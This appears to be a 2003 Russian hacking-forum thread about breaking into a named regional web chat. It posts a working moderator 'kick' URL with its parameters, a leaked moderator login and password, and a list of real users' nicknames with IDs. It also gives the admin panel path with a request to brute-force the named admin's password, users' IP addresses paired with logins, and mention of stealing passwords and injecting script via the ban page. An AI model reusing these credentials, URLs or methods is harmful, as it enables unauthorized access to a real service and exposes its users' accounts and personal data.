Лес чат взлом (http://leschat.lipetsk.ru)

[lesnik]

ЛЮди ХАЙ!!!
Нуна ваша помощь.
Мы почти взломали чат-сабж.
Но ОЛЛ нужна твоя помощь.
Я и моя команда смогли сломать пушку модеров.
Поэтому я выкладываю её сюда.

В сторку браузера вводим:

http://leschat.lipetsk.ru/adm/gun/gun.php?uid=<тут номер юзера>&login=<тут имя юзера>&sid=<ваш сид из чата>&admin_name=<имя того кто выкидывает>

Принцип таков.
1. Грузим лес чат (http://leschat.lipetsk.ru)
2. Регимся, входим в чат.
3. Копируем сторку преведённую выше, в строку браузера.
4. Ставим нужные данные в эту строку.
5. Потом проходим аунтефикацию по имени и паролю:
   login:       karina
   password: flanela
6. Потом паф, и всё.

Пример реально работающей строки:

http://leschat.lipetsk.ru/adm....e=DeAth (http://leschat.lipetsk.ru/adm/gun/gun.php?uid=20452&login=Harley&sid=4b0b885c54987ff5ee1c9ca6b12ad0ed&admin_name=DeAth)
Только sid, меняется при входе в чат, и он индивидуален для каждого юзера.

Дело в том, что у нас очень мало uid-ов юзеров.
Но вот некоторые из них:

BIG_RASTA,47262
Desper81,25580
Egoist,47586
Gunter,47585
Marla,44203
PashaNJ,32774
Plackser,32435
The_heartless,47109
Troyan,44907
ValenOK,47293
White_Sky,46865
Winger,26401
covax,44639
docent,47583
err0r,43537
romantik,36058
shurup,35282
tOSHA,34798
tosha,44424
колючка,45171
Дальнобойщик,47407
Грустный_W,47581
Рыженькая,42776
СЕРГУНЕНОК,44633
-TRINITY-,46660
ASDOS,34470
Greatski,2108
Hippy,47598
TRETIAK,41638
Trouble,39647
Woody,45952
garry,47599
here,37364
kukla,44131
remumba,47596
3ve3do4et,42686
Vaal,34202
Boogie,102
DESTROY,35578
Jardin,108
Lada,44119
Lighthammer,40020
Scalli,34009
Scully,1244
White-Sky,46865
ZED,35573
am,5693
kpd,44320
Друг_Перца,374
МБНБ,46318
Morpheus,43507
ИРЭН,487
Lisky,45579
Miss,333
PeaceDeadЦ,45176
Woland,6935
alenka-13,47335
serge,40982
Mephisto_with_Scalli,47304
PANDAEMONAEON,140
БиБи,47308
КоТеНоК,16293
RADISTKA,42402
Shadow_kille,21118
Sweety,41748
кот13,46724
АССОЛЬ,6947
ДPЯНЬ,47336
mobidik,45472
молчун,46698
Dude,41866
ВЕТЕР,21069
Fantom,34812
GRIG,42739
Harley,20452
RSN,46511
кrestiк,43866
Антихрист,283
Дубыня,14665
Здесь_Я,1144
Шмель,809
Dalnoboy,33376
delf-in,45431
morella,41293
Ааз,879
B52,20104
Oxane,47474
Snowy,37596
Tsika,47488
rilo,47520
Андрюха,170
Мадемуазель,40615
Ведьмочка,18318

Но это только самые завсегдатые чата.

Если вы даже не знаете uid, то можно стрельнуть холостым, то есть подставить просто наугад uid, и робот чата напишет что тот то тот то выкинут, хотя он будет в чате.

login= Тот кого выкидываем
sid= Строка из браузера когда войдёте в чат.
admin_name= Тут пишите всё что угодно.

Но это ещё не всё!!!!!!!
Мы смогли найти скрипт выполняющий вход в админ центр.
Вот путь к нему:
http://leschat.lipetsk.ru/admin/admin.php

Тут нужно только подобрать пароль и всё, чат станет полной ДЫРОЙ!!!
Кстати таже строка используется и для  realchat.ru
http://www.realchat.ru/admin/admin.php?&sid=<ваш (http://www.realchat.ru/admin/admin.php?&sid=<ваш) сид из реал чата>
Но в реал чате, надо ещё какието данные передать, для входа в админцентр.

Так, что если кто может сломайте пароли к админцентру leschat.lipetsk.ru

Кстати, имя админа чата Mizgun

Ладно, успехов тебе олл, во взломе лесного чатаhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif

Если будут какие нибудь новости по взлому, то выкладывайте их в форум или мне на мыло, а я размещу их в инете!

Моё мыло: onlymail@yandex.ru

Лес чат мастдай.

[Algol]

Ээээ, дык я не понял, о чем вы собственно просите ?

[lesnik]

Нам нужна помощь во взломе админцентра чата.
Пушку мы ломали брутфорсом потому, что была возможность. Если кому интересно, можете помочь вскрыть админцентр:
http://leschat.lipetsk.ru/admin/admin.php
Эта страничка находится в защищённой сети. У нас приблизительный логин - mizgun. Если б можно провернуть,
то можно установить контроль над чатом.

[system error]

Чувак ты думаешь кто подберёт,тебе прям пароль вышлет,а вот фиг!Сами будут как админ заходить

[Algol]

Нда, пушка действительно работает (пока))
Правда взломом это назвать трудно, поскольку вы просто откуда-то узнали админские логин-пароль.
Зато в чате есть настоящая дырка в инфе пользователя, которая позволяет увести пароль входа в чат любого юзера  http://forum.antichat.ru/iB_html/non-cgi/emoticons/biggrin.gif

[system error]

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июня 27 2003,13:57)</td></tr><tr><td id="QUOTE">Нда, пушка действительно работает (пока))
Правда взломом это назвать трудно, поскольку вы просто откуда-то узнали админские логин-пароль.
Зато в чате есть настоящая дырка в инфе пользователя, которая позволяет увести пароль входа в чат любого юзера http://forum.antichat.ru/iB_html/non-cgi/emoticons/biggrin.gif[/QUOTE]<span id='postcolor'>
И как же?Не поведаете нам уважаемый админ?

[Paul]

блин... да тут одни умные собрались... чё тогда я тут делаю?

[Algol]

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (system error @ июня 27 2003,20:40)</td></tr><tr><td id="QUOTE">и как же?Не поведаете нам уважаемый админ?[/QUOTE]<span id='postcolor'>
неа, не поведаю http://forum.antichat.ru/iB_html/non-cgi/emoticons/tounge.gif
мне чат жалко ))

Что б не быть голословным, привожу списочек юзеров и их IP (в списке тока парни, барышень не сканю))):

ip=195.34.232.18 login=ZED
ip=212.12.1.171 login=sashka777
ip=213.138.110.24 login=B52
ip=195.34.232.18 login=Cold_Weapon
ip=81.20.192.98 login=Mosian
ip=195.34.232.18 login=Dan
ip=212.57.168.40 login=MAX
ip=195.161.241.229 login=TiGeR_LaB

У всех этих товарищей я умыкнул и пароль, но разглашать не буду)). Они ж не виноваты, что чат дырявый ))

Да и кстати, поговорив с модераторами, выяснилось что чатик заброшенный, а авторы слобали другой:
http://www.realchat.ru
Вероятно с такими же дырками ))

[Algol]

вот кстати как выглядит окно модератора:
http://antichat.ru/leschat.JPG

А это адрес скрипта для бана
http://leschat.lipetsk.ru/admin....lt;&gt; (http://leschat.lipetsk.ru/admin/add_ban.php?uid=&lt;&gt;&login=&lt;&gt;&sid=&lt;&gt;&admin_name=&lt;&gt;&ip=&lt;&gt;)

И еще есть возможность вставить скрипт на входную страницу чата (http://leschat.lipetsk.ru) . Делается с помощью скрипта бана.